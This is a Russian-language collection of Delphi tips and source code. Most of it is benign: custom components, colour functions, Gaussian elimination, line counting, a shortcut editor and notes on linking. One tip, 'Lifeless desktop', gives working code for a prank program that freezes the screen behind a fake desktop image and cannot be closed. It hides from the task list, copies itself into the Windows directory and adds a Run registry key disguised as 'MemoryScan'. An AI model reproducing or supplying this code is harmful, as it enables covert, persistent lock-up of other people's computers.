procedure TDdhSizerControl.SizerControlExit (Sender: TObject);
begin
Free;
end;
procedure TDdhSizerControl.WmLButtonDown (var Msg: TWmLButtonDown);
begin
Perform (wm_SysCommand, sc_DragMove, 0);
end;
procedure TDdhSizerControl.WmMove (var Msg: TWmMove);
var
R: TRect;
begin
R := BoundsRect;
InflateRect (R, -2, -2);
FControl.Invalidate; // repaint entire surface
FControl.BoundsRect := R;
end;
// components registration
procedure Register;
begin
RegisterComponents ('DDHB', [TDdhSizeButton]);
RegisterNoIcon ([TDdhSizerControl]);
end;
end.
|
DDHSTAR_PAS.HTM.
unit DdhStar;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
type
TDdhStar = class (TCustomControl)
private
{data fields for properties}
fLineColor: TColor;
fLineSize: Integer;
fLinesVisible: Boolean;
Pts: array [0..5] of TPoint;
protected
{set and get methods}
procedure SetLineColor (Value: TColor);
procedure SetLineSize (Value: Integer);
procedure SetLinesVisible (Value: Boolean);
public
constructor Create (AOwner: TComponent); override;
procedure CreateHandle; override;
procedure SetBounds (ALeft, ATop, AWidth, AHeight: Integer); override;
procedure Paint; override;
published
property LineColor: TColor
read fLineColor write SetLineColor default clBlack;
property LineSize: Integer
read fLineSize write SetLineSize default 2;
property LinesVisible: Boolean
read fLinesVisible write SetLinesVisible default False;
property Width default 50;
property Height default 50;
end;
procedure Register;
implementation
constructor TDdhStar.Create (AOwner: TComponent);
begin
inherited Create (AOwner);
// set default values
fLineColor := clBlack;
fLineSize := 2;
fLinesVisible := False;
Width := 50;
Height := 50;
end;
procedure TDdhStar.SetBounds (ALeft, ATop, AWidth, AHeight: Integer);
var
HRegion1: THandle;
begin
inherited;
// compute points
Pts [0] := Point (AWidth div 2, 0);
Pts [1] := Point (AWidth, AHeight);
Pts [2] := Point (0, AHeight div 3);
Pts [3] := Point (AWidth, AHeight div 3);
Pts [4] := Point (0, AHeight);
Pts [5] := Point (Width div 2, 0);
// set component shape
if HandleAllocated then
begin
HRegion1 := CreatePolygonRgn (Pts,
sizeof (Pts) div 8, winding);
SetWindowRgn (Handle, HRegion1, True);
end;
end;
procedure TDdhStar.CreateHandle;
var
HRegion1: THandle;
begin
inherited;
HRegion1 := CreatePolygonRgn (Pts,
sizeof (Pts) div 8, winding);
SetWindowRgn (Handle, HRegion1, True);
end;
procedure TDdhStar.Paint;
begin
Canvas.Brush.Color := clYellow;
if fLinesVisible then
begin
Canvas.Pen.Color := fLineColor;
Canvas.Pen.Width := fLineSize;
SetPolyFillMode (Canvas.Handle, winding);
Canvas.Polygon (Pts);
end
else
begin
Canvas.Pen.Width := 1;
Canvas.Rectangle (-1, -1, Width + 1, Height + 1);
end;
end;
{property access functions}
procedure TDdhStar.SetLineColor(Value: TColor);
begin
if Value <> fLineColor then
begin
fLineColor := Value;
Invalidate;
end;
end;
procedure TDdhStar.SetLineSize(Value: Integer);
begin
if Value <> fLineSize then
begin
fLineSize := Value;
Invalidate;
end;
end;
procedure TDdhStar.SetLinesVisible(Value: Boolean);
begin
if Value <> fLinesVisible then
begin
fLinesVisible := Value;
Invalidate;
end;
end;
{$R ddhstar.dcr}
procedure Register;
begin
RegisterComponents('DDHB', [TDdhStar]);
end;
end.
|
Лицензирование активных форм и ActiveX.
| - Вась, а как ты хакером стал? - Ну... сначала у меня сп%%%ли страну... |
Вероятно, при создании ActiveForm вы выбрали опцию лицензирования и не поместили .LIC-файл в ваш .OCX-файл. Обычно с ActiveForms/ActiveXs лицензирование не используется, поскольку активные элементы в основном используются для повышения привлекательности Интернет-сервера и "распространяются" свободно. Чтобы выключить лицензию времени разработки (Design-Time Licensing), найдите секцию initialization в вашем ActiveForm XXXImpl-файле и замените предпоследний параметр вызова TActiveXControlFactory.Create на пустую строку:
initialization
TActiveXControlFactory.Create( ComServer, TAnimateX,
TAnimate, Class_AnimateX, 1, '', 0);
end.
|
Примечание: Данный совет отностится только если вы разрабатываете собственные элементы управления. Потенциально хакерские элементы ActiveX могут нанести вред компьютеру!
Безжизненный рабочий стол.
| Попали в одну, камеру разбойник и хакер. Разбойник: - Я вот сижу за ограбление магазина... А ты за что сидишь? Хакер: - Ограбил банк на 7 миллионов долларов... Разбойник: - Да ты че... ни фига себе... как же ты унес их из банка - денег-то офигенно много? Хакер рассказывает в общих чертах о компьютерах, сетях, взломах и т. д. Разбойник: - Ну ни фига себе, а как же ты попался? Хакер: - Брандмауэр засек и сработала защита... Разбойник: - Ах ты... Брандмауэр, твою мать... Всегда знал, что евреев опасаться надо... |
Алгоритм следующий: нужно на форму вынести компонент класса TImage скопировать в него рабочий стол и растянуть во весь экран. Делаем это по созданию окна [событие OnCreate()]:
procedure TForm1.FormCreate(Sender: TObject); var ScreenDC: HDC; canvas:Tcanvas; begin ScreenDC:=GetDC(0); Canvas:=TCanvas.Create(); canvas.Handle:=ScreenDC; Width:=Screen.Width; Height:=Screen.Height; Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height), canvas,Rect(0,0,Screen.Width,Screen.Height)); Releasedc(0,ScreenDC); Canvas.Free; end; |
Затем нужно свойство формы BorderStyle установить в значение bsNone, чтобы не было видно боковины окна, а свойство FormStyle - в fsStayOnTop, дабы наше окно всегда было всех других окон!!! Свойство Align компонента Image1- в значение alClient, чтобы картинка занимала всё свободное. место.
Далее позаботимся о том, чтобы наше приложение не было видно и чтобы пользователь не мог завершить его :-)).
Событие по созданию окна в конечном итоге должно выглядеть так:
procedure TForm1.FormCreate(Sender: TObject);
var
ScreenDC: HDC;
canvas: Tcanvas;
h: TRegistry;
begin
ScreenDC:=GetDC(0);
Canvas:=TCanvas.Create();
canvas.Handle:=ScreenDC;
Width:=Screen.Width;
Height:=Screen.Height;
Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height),
canvas,Rect(0,0,Screen.Width,Screen.Height));
Releasedc(0,ScreenDC);
Canvas.Free;
if not(csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID,1);
WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
if Res > 0 then WinDir := StrPas(WinDirP);
if FileExists(WinDir+'\OurProgram.com')=false then
CopyFile(PChar(Application.ExeName),PChar(WinDir+'\OurProgram.com'),false);
h:=TRegistry.Create;
h.RootKey:=HKEY_LOCAL_MACHINE;
h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
h.WriteString('MemoryScan',WinDir+'\OurProgram.com');
h.CloseKey;
h.Free;
end;
|
На событие OnCloseQuery() формы напишем:
CanClose:=false; |
На событие OnActivate():
ShowWindow(Application.Handle,sw_Hide); |
В области public объявим несколько переменных:
public
{ Public declarations }
Windir: string;
WindirP: PChar;
Res: Cardinal;
|
А в uses подключим модуль Registry:
uses Registry; |
Как сделать стандартные цвета в Delphi светлее или темнее.
В данной статье хотелось бы показать принцип получения из обычного цвета более тёмный или более светлый. А так же рассмотрим, как этот принцип реализован в программном коде.
Итак, немного теории
Каждый из трёх основных цветов (Красный, Зелёный ,Синий) могут иметь значение от 0 до 255, соответственно скомбинировав их мы можем получить 16,777,216 возможных цветов. Визуально это можно представить как три оси куба, в котором направления x, y и z отвечают за цвета красный, зелёный и синий. В сочетании эти направления дают точку в кубе, представляющую один цвет из 16 миллионов. Точка куба, в которой значение равняется 0 (0,0,0) соответствует чёрному цвету, значение (255,255,255) - белому цвету, (255,0,0) - чисто красному, и т.д.
Если визуально провести линию между каким-либо цветом (r,g,b) и белым цветом (255,255,255), то получится, что на этой линии будут лежать все значения данного цвета (r,g,b). Если мы будем двигаться по линии в сторону белого цвета, то яркость будет увеличиваться до тех пор пока не получим чисто белый цвет.
То же самое можно сделать и для уменьшения яркости цвета. Достаточно провести линию из цвета (r,g,b) в чёрный (0,0,0). То есть при движении по линии к чёрному цвету мы будем уменьшать яркость до тех пор, пока не получим чёрный цвет.
Функция "Darker" возвращает новое значение цвета, которое будет на сколько-то процентов темнее. Естественно, что при 100% мы получим чёрный цвет. Функция "Lighter" возвращает цвет, который светлее на сколько-то процентов исходного. 100% - белый цвет.Функции Darker и Lighter требуют 2 параметра и используются примерно так:
Panel1.Color := Darker(clBlue,20); |
Получится панель цветов, которая на 20% темнее обычного синего цвета.
Теперь давайте посмотрим, как выглядят внутри наши функции:
function Darker(Color:TColor; Percent:Byte):TColor; var r, g, b: Byte; begin Color:=ColorToRGB(Color); r:=GetRValue(Color); g:=GetGValue(Color); b:=GetBValue(Color); r:=r-muldiv(r,Percent,100); //процент% уменьшения яркости g:=g-muldiv(g,Percent,100); b:=b-muldiv(b,Percent,100); result:=RGB(r,g,b); end; function Lighter(Color:TColor; Percent:Byte):TColor; var r, g, b: Byte; begin Color:=ColorToRGB(Color); r:=GetRValue(Color); g:=GetGValue(Color); b:=GetBValue(Color); r:=r+muldiv(255-r,Percent,100); //процент% увеличения яркости g:=g+muldiv(255-g,Percent,100); b:=b+muldiv(255-b,Percent,100); result:=RGB(r,g,b); end; |
Так же я добавил некоторые функции, в которых уже добавлены стандартные значения процентов. Это для тех, кому некогда задумываться над процентами :).
Panel1.Color := Light(clBlue); Panel1.Color := SlightlyDark(clRed); Panel1.Color := VeryLight(clMagenta); |
Etc.
function SlightlyDark(Color:TColor):TColor; begin Result := Darker(Color,25); end; function Dark(Color:TColor):TColor; begin Result := Darker(Color,50); end; function VeryDark(Color:TColor):TColor; begin Result := Darker(Color,75); end; function SlightlyLight(Color:TColor):TColor; begin Result := Lighter(Color,25); end; function Light(Color:TColor):TColor; begin Result := Lighter(Color,50); end; function VeryLight(Color:TColor):TColor; begin Result := Lighter(Color,75); end; |
Получить осветлённый цвет.
| Автор: ___Nikolay WEB-сайт: http://delphiworld.narod.ru |
// Получить осветлённый цвет
function TfmDW6Main.GetLightColor(const Color: TColor; const Light: Byte) : TColor;
type
TRGB = packed record
R, G, B: Byte;
end;
var
fFrom: TRGB;
function GetRGB(const Color: TColor): TRGB;
var
iColor: TColor;
begin
iColor := ColorToRGB(Color);
Result.R := GetRValue(iColor);
Result.G := GetGValue(iColor);
Result.B := GetBValue(iColor);
end;
begin
FFrom := GetRGB(Color);
Result := RGB(
Round(FFrom.R + (255 - FFrom.R) * (Light / 100)),
Round(FFrom.G + (255 - FFrom.G) * (Light / 100)),
Round(FFrom.B + (255 - FFrom.B) * (Light / 100))
);
end;
Границы для перемещения формы в рабочей области.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// For some reason messages.pas declares no message record for this message
type
TWmMoving = record
Msg: Cardinal;
fwSide: Cardinal;
lpRect: PRect;
Result: Integer;
end;
// Add a handler to your forms private section:
procedure WMMoving(var msg: TWMMoving); message WM_MOVING;
// Implement it as
procedure TFormX.WMMoving(var msg: TWMMoving);
var
r: TRect;
begin
r := Screen.WorkareaRect;
// compare the new form bounds in msg.lpRect^ with r and modify it if
// necessary
if msg.lprect^.left < r.left then
OffsetRect(msg.lprect^, r.left - msg.lprect^.left, 0);
if msg.lprect^.top < r.top then
OffsetRect(msg.lprect^, 0, r.top - msg.lprect^.top);
if msg.lprect^.right > r.right then
OffsetRect(msg.lprect^, r.right - msg.lprect^.right, 0);
if msg.lprect^.bottom > r.bottom then
OffsetRect(msg.lprect^, 0, r.bottom - msg.lprect^.bottom);
inherited;
end;
Метод Гаусса решения системы линейных уравнений.
Автор: Mystic WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Метод Гаусса решения системы линейных уравнений
Рещение системы линейных уравнений (возможно переопределенной) методом Гаусса.
Определяется ситуация, что система не имеет рещений. Ситуация, когда система
имеет более чем одно решение не рассматривается. В случае удачного завершения
возвращает нуль.
Зависимости: System
Автор: Mystic, mystic2000@newmail.ru, ICQ:125905046, Харьков
Copyright: (C) Mystic
Дата: 25 апреля 2002 г.
***************************************************** }
function LinGauss(M, N: Integer; Data: PExtended; X: PExtended): Cardinal;
var
PtrData: PExtended;
PtrData1, PtrData2: PExtended;
Temp: Extended;
I, J, Row: Integer;
Max: Extended;
MaxR: Integer;
begin
Assert(M >= N, 'Invalid start data');
for I := 0 to N - 1 do // Для каждой переменной
begin
// 1. Поиск максимального элемента
PChar(PtrData) := PChar(Data) + I * (N + 2) * SizeOf(Extended);
MaxR := I;
Max := PtrData^;
for J := I + 1 to M - 1 do
begin
PChar(PtrData) := PChar(PtrData) + (N + 1) * SizeOf(Extended);
if Abs(PtrData^) > Abs(Max) then
begin
Max := PtrData^;
MaxR := J;
end;
end;
// 2. А вдруг неразрешима?
if Abs(Max) < 1.0E-10 then
begin
Result := $FFFFFFFF;
Exit;
end;
// 3. Меняем местами строки
if MaxR <> I then
begin
PChar(PtrData1) := PChar(Data) + MaxR * (N + 1) * SizeOf(Extended);
PChar(PtrData2) := PChar(Data) + I * (N + 1) * SizeOf(Extended);
for J := 0 to N do
begin
Temp := PtrData1^;
PtrData1^ := PtrData2^;
PtrData2^ := Temp;
PChar(PtrData1) := PChar(PtrData1) + SizeOf(Extended);
PChar(PtrData2) := PChar(PtrData2) + SizeOf(Extended);
end;
end;
// 4. Пересчет направляющей строки
PChar(PtrData) := PChar(Data) + I * (N + 1) * SizeOf(Extended);
for J := 0 to N do
begin
PtrData^ := PtrData^ / Max;
PChar(PtrData) := PChar(PtrData) + SizeOf(Extended);
end;
// 5. Пересчет всей оставшйся части таблицы
PtrData1 := Data;
for Row := 0 to M - 1 do
begin
if Row = I then
begin
PChar(PtrData1) := PChar(PtrData1) + (N + 1) * SizeOf(Extended);
Continue;
end;
PChar(PtrData2) := PChar(Data) + I * (N + 1) * SizeOf(Extended);
Temp := PExtended(PChar(PtrData1) + I * SizeOf(Extended))^;
for J := 0 to N do
begin
PtrData1^ := PtrData1^ - Temp * PtrData2^;
PChar(PtrData1) := PChar(PtrData1) + SizeOf(Extended);
PChar(PtrData2) := PChar(PtrData2) + SizeOf(Extended);
end;
end;
end;
// 6. Проверка того, что система переопределена
PChar(PtrData) := PChar(Data) + N * (N + 1) * SizeOf(Extended);
for I := N to M - 1 do
for J := 0 to N do
begin
if Abs(PtrData^) > 1.0E-10 then
begin
Result := $FFFFFFFF;
Exit;
end;
PChar(PtrData) := PChar(PtrData) + SizeOf(Extended);
end;
// Все ОК
PChar(PtrData) := PChar(Data) + N * SizeOf(Extended);
for I := 0 to N - 1 do
begin
X^ := PtrData^;
PChar(X) := PChar(X) + SizeOf(Extended);
PChar(PtrData) := PChar(PtrData) + (N + 1) * SizeOf(Extended);
end;
Result := 0;
end;
Подсчет количества строк в текстовом файле.
Автор: [NIKEL] WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Подсчет количества строк в текстовом файле
Считает строки в текстовом файле,
основываясь на количестве символов $0A (LineFeed).
Зависимости: Windows
Автор: Борис Новгородов, mbo@mail.ru, Новосибирск
Copyright: Собственное написание
Дата: 1 декабря 2002 г.
***************************************************** }
function LinesCount(const Filename: string): Integer;
var
HFile: THandle;
FSize, WasRead, i: Cardinal;
Buf: array[1..4096] of byte;
begin
Result := 0;
HFile := CreateFile(Pchar(FileName), GENERIC_READ, FILE_SHARE_READ, nil,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if HFile <> INVALID_HANDLE_VALUE then
begin
FSize := GetFileSize(HFile, nil);
if FSize > 0 then
begin
Inc(Result);
ReadFile(HFile, Buf, 4096, WasRead, nil);
repeat
for i := WasRead downto 1 do
if Buf[i] = 10 then
Inc(Result);
ReadFile(HFile, Buf, 4096, WasRead, nil);
until WasRead = 0;
end;
end;
CloseHandle(HFile);
end;
Пример использования:
Label1.Caption := IntToStr(LinesCount('e:\zz.txt'));
Количество строк в текстовом файле.
Если файлы не слишком велики, вы можете сделать так:
List := TStringList.Create;
try
List.LoadFromFile('C:\FILE.TXT');
Gauge.MaxValue := List.Count;
finally
List.Free;
end;
|
Мы читаем в память весь текст, и кроме подсчета строк этот код ничего не делает. Другая идея заключается в использовании не счетчика строк, а счетчика байт. В самом начале вы запрашиваете размер файла (используя функцию Delphi FileSize), и в цикле проходите все байты, как вы делали это со строками. Цикл может выглядеть примерно так (предположим, вы используете стандартный паскалевский тип TEXT):
Gauge.MaxValue := FileSize(TextFile);
Reset(TextFile);
while not eof(TextFile) do
begin
Readln(TextFile, Line);
{ Обработка строки }
with Gauge do
begin
Progress := Progress + Length(Line) + 2; { 2 для CR/LF }
Refresh;
end;
end;
|
Компонент Линия.
Оформил: DeeCo
Автор: Александр Журавлев.
Компонент предназначен для вычерчивания линий на мнемосхемах и других целей, где количество ломаных линий, созданых одним компонентом, не должно превышать 255. Инструмент - Delphi 5.1. Введение даже списка (TList), не говоря уже о коллекции, заметно замедляло отрисовку, поэтому был выбран статический массив записей линий. Компонент позволяет изменять тощину, стиль и цвет как в режиме разработки, так и в динамике. Для редактирования используется стандартный редактор компонентов, запускаемый нажатием правой кнопкой мыши. Редактирование нужно начинать с первой команды выпадающего меню (Edit Lines), а заканчивать - со второй (Exit from Editing). Редактирование заключается в добавлении линий (Add Line) и узлов (Add node), и удалении их (Remove Line и Remove Node). Можно также менять цвет (Line Color) и стиль линии (LineStyle). Ввиду ограничений, накладываемых операционными системами Windows95 и 98, стили меняются только для линий с толщиной, равной 1. Для Windows NT и 2000 таких ограничений нет. Для изменения координат узла нужно выбрать линию путем нажатия левой кнопки мыши над требуемым узлом или концом линии, и, удерживая ее, перетащить на нужное место. Выделенная линия обозначается черными квадратиками. Для большего удобства в выпадающем меню редактора указывается общее количество созданых линий, номер выбранной линии и узлов в ней. К сожалению, компонент имеет существенный недостаток - отсутствие блокировки манипулирования другими компонентами, находящимися на форме, до выхода из режима редактирования линий. Автор будет глубоко благодарен за любые советы по преодолению указанного недостатка. Автор приносит глубокую благодарность Сергею Губенко и Юрию Зотову за ценные советы по построению компонента. Компонент могут использовать все без всяких ограничений, но со ссылкой на автора.Скачать исходные коды AzLines.zip (7K).
Как можно разорвать соединение с интернетом.
Автор: Baa WEB-сайт: http://forum.vingrad.ru
LONG lineDrop( HCALL hCall, LPCSTR lpsUserUserInfo, DWORD dwSize );
Мастер управления ярлыками.
Автор: Xavier Pacheco
unit Main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ComCtrls, ExtCtrls, Spin, WinShell, Menus;
type
TMainForm = class(TForm)
Panel1: TPanel;
btnOpen: TButton;
edLink: TEdit;
btnNew: TButton;
btnSave: TButton;
Label3: TLabel;
Panel2: TPanel;
Label1: TLabel;
Label2: TLabel;
Label4: TLabel;
Label5: TLabel;
Label6: TLabel;
Label7: TLabel;
Label8: TLabel;
Label9: TLabel;
edIcon: TEdit;
edDesc: TEdit;
edWorkDir: TEdit;
edArg: TEdit;
cbShowCmd: TComboBox;
hkHotKey: THotKey;
speIcnIdx: TSpinEdit;
pnlIconPanel: TPanel;
imgIconImage: TImage;
btnExit: TButton;
MainMenu1: TMainMenu;
File1: TMenuItem;
Open1: TMenuItem;
Save1: TMenuItem;
NewLInk1: TMenuItem;
N1: TMenuItem;
Exit1: TMenuItem;
Help1: TMenuItem;
About1: TMenuItem;
edPath: TEdit;
procedure btnOpenClick(Sender: TObject);
procedure btnNewClick(Sender: TObject);
procedure edIconChange(Sender: TObject);
procedure btnSaveClick(Sender: TObject);
procedure btnExitClick(Sender: TObject);
procedure About1Click(Sender: TObject);
private
procedure GetControls(var SLI: TShellLinkInfo);
procedure SetControls(const SLI: TShellLinkInfo);
procedure ShowIcon;
procedure OpenLinkFile(const LinkFileName: string);
end;
var
MainForm: TMainForm;
implementation
{$R *.DFM}
uses PickU, NewLinkU, AboutU, CommCtrl, ShellAPI;
type
THotKeyRec = record
Char, ModCode: Byte;
end;
procedure TMainForm.SetControls(const SLI: TShellLinkInfo);
{ Sets values of UI controls based on contents of SLI }
var
Mods: THKModifiers;
begin
with SLI do
begin
edPath.Text := PathName;
edIcon.Text := IconLocation;
{ if icon name is blank and link is to exe, use exe name for icon }
{ path. This is done because the icon index is ignored if the }
{ icon path is blank, but an exe may contain more than one icon. }
if (IconLocation = '') and
(CompareText(ExtractFileExt(PathName), 'EXE') = 0) then
edIcon.Text := PathName;
edWorkDir.Text := WorkingDirectory;
edArg.Text := Arguments;
speIcnIdx.Value := IconIndex;
edDesc.Text := Description;
{ SW_* constants start at 1 }
cbShowCmd.ItemIndex := ShowCmd - 1;
{ Hot key char in low byte }
hkHotKey.HotKey := Lo(HotKey);
{ Figure out which modifier flags are in high byte }
Mods := [];
if (HOTKEYF_ALT and Hi(HotKey)) <> 0 then
include(Mods, hkAlt);
if (HOTKEYF_CONTROL and Hi(HotKey)) <> 0 then
include(Mods, hkCtrl);
if (HOTKEYF_EXT and Hi(HotKey)) <> 0 then
include(Mods, hkExt);
if (HOTKEYF_SHIFT and Hi(HotKey)) <> 0 then
include(Mods, hkShift);
{ Set modifiers set }
hkHotKey.Modifiers := Mods;
end;
ShowIcon;
end;
procedure TMainForm.GetControls(var SLI: TShellLinkInfo);
{ Gets values of UI controls and uses them to set values of SLI }
var
CtlMods: THKModifiers;
HR: THotKeyRec;
begin
with SLI do
begin
PathName := edPath.Text;
IconLocation := edIcon.Text;
WorkingDirectory := edWorkDir.Text;
Arguments := edArg.Text;
IconIndex := speIcnIdx.Value;
Description := edDesc.Text;
{ SW_* constants start at 1 }
ShowCmd := cbShowCmd.ItemIndex + 1;
{ Get hot key character }
word(HR) := hkHotKey.HotKey;
{ Figure out which modifier keys are being used }
CtlMods := hkHotKey.Modifiers;
with HR do
begin
ModCode := 0;
if (hkAlt in CtlMods) then
ModCode := ModCode or HOTKEYF_ALT;
if (hkCtrl in CtlMods) then
ModCode := ModCode or HOTKEYF_CONTROL;
if (hkExt in CtlMods) then
ModCode := ModCode or HOTKEYF_EXT;
if (hkShift in CtlMods) then
ModCode := ModCode or HOTKEYF_SHIFT;
end;
HotKey := word(HR);
end;
end;
procedure TMainForm.ShowIcon;
{ Retreives icon from appropriate file and shows in IconImage }
var
HI: THandle;
IcnFile: string;
IconIndex: word;
begin
{ Get name of icon file }
IcnFile := edIcon.Text;
{ If blank, use the exe name }
if IcnFile = '' then
IcnFile := edPath.Text;
{ Make sure file exists }
if FileExists(IcnFile) then
begin
IconIndex := speIcnIdx.Value;
{ Extract icon from file }
HI := ExtractAssociatedIcon(hInstance, PChar(IcnFile), IconIndex);
{ Assign icon handle to IconImage }
imgIconImage.Picture.Icon.Handle := HI;
end;
end;
procedure TMainForm.OpenLinkFile(const LinkFileName: string);
{ Opens a link file, get info, and displays info in UI }
var
SLI: TShellLinkInfo;
begin
edLink.Text := LinkFileName;
try
GetShellLinkInfo(LinkFileName, SLI);
except
on EShellOleError do
MessageDlg('Error occurred while opening link', mtError, [mbOk], 0);
end;
SetControls(SLI);
end;
procedure TMainForm.btnOpenClick(Sender: TObject);
{ OnClick handler for OpenBtn }
var
LinkFile: string;
begin
if GetLinkFile(LinkFile) then
OpenLinkFile(LinkFile);
end;
procedure TMainForm.btnNewClick(Sender: TObject);
{ OnClick handler for NewBtn }
var
FileName: string;
Dest: Integer;
begin
if GetNewLinkName(FileName, Dest) then
OpenLinkFile(CreateShellLink(FileName, '', Dest));
end;
procedure TMainForm.edIconChange(Sender: TObject);
{ OnChange handler for IconEd and IcnIdxEd }
begin
ShowIcon;
end;
procedure TMainForm.btnSaveClick(Sender: TObject);
{ OnClick handler for SaveBtn }
var
SLI: TShellLinkInfo;
begin
GetControls(SLI);
try
SetShellLinkInfo(edLink.Text, SLI);
except
on EShellOleError do
MessageDlg('Error occurred while setting info', mtError, [mbOk], 0);
end;
end;
procedure TMainForm.btnExitClick(Sender: TObject);
{ OnClick handler for ExitBtn }
begin
Close;
end;
procedure TMainForm.About1Click(Sender: TObject);
{ OnClick handler for Help|About menu item }
begin
AboutBox;
end;
end.
Скачать весь проект
Связывание функций.
Delphi содержит очень умный компоновщик, который исключает добавление функций без внешних ссылок в ваш конечный exe-файл. Это действительно лучшее решение, чем то, которое предлагают (старые сведения, В.О.) все C-компоновщики, компонующие все функции данного модуля (кодового файла), если хотя бы на одну из них имеется внешняя ссылка. ...я тоже так хотел. Но одна из моих форм имела "uses dll_link", где dll_link являлся компонентом, который использовал dll. Хотя компонент и был удален из формы, программа сбоила, если на машине отсутствовала нужная DLL. Естественно, компоновщик удалил весь неиспользуемый код, но почему проблема осталась? Удаление "uses dll_link" решило проблему, и уменьшило размер exe на 100k. Очевидно, компоновщик не может это удалить сам. Я так полагаю, что "умный" компоновщик ("Smart Linking") недостаточно умен для удаления ссылок на модули, в которых нет функций со внешними ссылками. Может, он делает это намеренно, но пока не ясно почему. ...я тоже задавался этим вопросом: почему, удаляя ссылки на ненужные мне модули, которые Delphi устанавливает по-умолчанию, размер выходного файла уменьшается - почему??? Что делает в это время умный оптимизатор - компилятор? Я провел тест опции Delphi "Smart Linking" (умное связывание). Я создал пустое приложение, одно окно, ничего более. В обработчик события FormCreate я поместил две переменные и проинициализировал их: первая представляла собой строку, куда я поместил 'Привет!', вторая была Hwnd, куторой я присвоил дескриптор ("handle"). Я создал второй модуль. В этот модуль я включил ссылки на SysUtils, WinTypes и WinProcs. Я создал функцию с именем "This". "This" получает на входе два параметра: Hwnd и String. Она преобразует строку к типу C-строки, и вызывает MessageBox. Я захотел сделать так, чтобы функция "This" все-таки не была тривиальной (ну хорошо, она тривиальная). Важным является то, что у меня в моей программе нет ни одного места, откуда бы я вызывал "This". В список модуля формы "uses" я поместил ссылку на второй модуль (где расположена функция "This"), но при этом функция "This" нигде не вызывается. Я собрал приложение, и запомнил размер exe-файла. Затем я создал обработчик события FormCreate. В нем я вызывал "This" с переменными, инициализированными ранее (строка и дескриптор окна). Я собрал приложение, и запомнил размер exe-файла. Во втором случае (с вызовом функции "This") exe-файл получился больше на 300 байт. Из этого следует, что неиспользуемые функции не линкуются к exe-файлу. Опция "Optimize for size and load time" (оптимизировать для размера и времени загрузки) весьма отличается от опции "smart-linking" (умное связывание). Очевидно, большинство компоновщиков сами по себе являются "умными машинками". Их технологию работы сложно понять, и это является самым строгим секретом фирмы. Некоторые теоретические выкладки можно почерпнуть из статьи, напечатанной в журнале MicroSoft Systems Journal, Июль 1993, статья называется "Liposuction your Corpulent Executables and Remove Excess Fat". Ее можно также найти на CD MSDN, если он у вас, конечно, имеется. По-крайней мере, в статье есть интересный раздел, посвященный технологии выравнивания ("alignment"), которую можно сравнить с проблемой выбора размера кластера в момент создания раздела на диске. Эта технология позволяет сэкономить, или потерять свободное место на диске при большом количестве файлов. В вопросе оптимизации существует масса мелочей. Во всяком случае, "Optimize for size and load time" выполняет ту же работу, что и прорамма W8LOSS.EXE (расположенной в каталоге \Delphi\Bin) с вашим скомпилированным приложением. Вам нужно помнить об одной вещи: если компоновщик настроен на "умное связывание", то он не будет запускать приложение чтобы посмотреть, используется ли функция/процедура, или нет. В этом случае он проверяет на "возможность" использования той или иной функции/процедуры. Я не проверял это, но, вероятно, даже в VCL наверняка существуют методы, которые включены в ее только потому, что существует "возможность" их применения, и они "тянутся" при компиляции в ваше приложение. Кроме того, для подтверждения моей мысли, я просто создал приложение с одной формой, работающее с базой данных и имевшее размер более 500Кб, после добавления к которому нескольких форм размер приложения не увеличился.Типы не линкуются. Они используются только самим компилятором. Переменные "умным" компилятором не удаляются. Код, расположенный в секции initialization вызывается всегда. Процесс компиляции программ Delphi состоит из двух шагов: во-первых, компилируются все модули программы, после чего получаются двоичные промежуточные .DCU-файлы. Во-вторых, они полностью связываются все вместе и получается .EXE-файл. Во время второго шага удаляются любые функции/процедуры без внешних ссылок. Поэтому нет повода для беспокойства: ВСЕ функции, которые присутствуют в программе, будует помещены в .DCU-файл, и только те из них, которые реально используются, будут упакованы в EXE. Все будет работать именно так, как вы и ожидаете, нет никаких сюрпризов, в противном случае это связывание не будет 'smart' (умным), и эту опцию можно не включать.
Получаем информацию о ярлыке.
uses
ShlObj,
ComObj,
ActiveX,
CommCtrl;
type
PShellLinkInfoStruct = ^TShellLinkInfoStruct;
TShellLinkInfoStruct = record
FullPathAndNameOfLinkFile: array[0..MAX_PATH] of Char;
FullPathAndNameOfFileToExecute: array[0..MAX_PATH] of Char;
ParamStringsOfFileToExecute: array[0..MAX_PATH] of Char;
FullPathAndNameOfWorkingDirectroy: array[0..MAX_PATH] of Char;
Description: array[0..MAX_PATH] of Char;
FullPathAndNameOfFileContiningIcon: array[0..MAX_PATH] of Char;
IconIndex: Integer;
HotKey: Word;
ShowCommand: Integer;
FindData: TWIN32FINDDATA;
end;
procedure GetLinkInfo(lpShellLinkInfoStruct: PShellLinkInfoStruct);
var
ShellLink: IShellLink;
PersistFile: IPersistFile;
AnObj: IUnknown;
begin
// access to the two interfaces of the object
AnObj := CreateComObject(CLSID_ShellLink);
ShellLink := AnObj as IShellLink;
PersistFile := AnObj as IPersistFile;
// Opens the specified file and initializes an object from the file contents.
PersistFile.Load(PWChar(WideString(lpShellLinkInfoStruct^.FullPathAndNameOfLinkFile)), 0);
with ShellLink do
begin
// Retrieves the path and file name of a Shell link object.
GetPath(lpShellLinkInfoStruct^.FullPathAndNameOfFileToExecute,
SizeOf(lpShellLinkInfoStruct^.FullPathAndNameOfLinkFile),
lpShellLinkInfoStruct^.FindData,
SLGP_UNCPRIORITY);
// Retrieves the description string for a Shell link object.
GetDescription(lpShellLinkInfoStruct^.Description,
SizeOf(lpShellLinkInfoStruct^.Description));
// Retrieves the command-line arguments associated with a Shell link object.
GetArguments(lpShellLinkInfoStruct^.ParamStringsOfFileToExecute,
SizeOf(lpShellLinkInfoStruct^.ParamStringsOfFileToExecute));
// Retrieves the name of the working directory for a Shell link object.
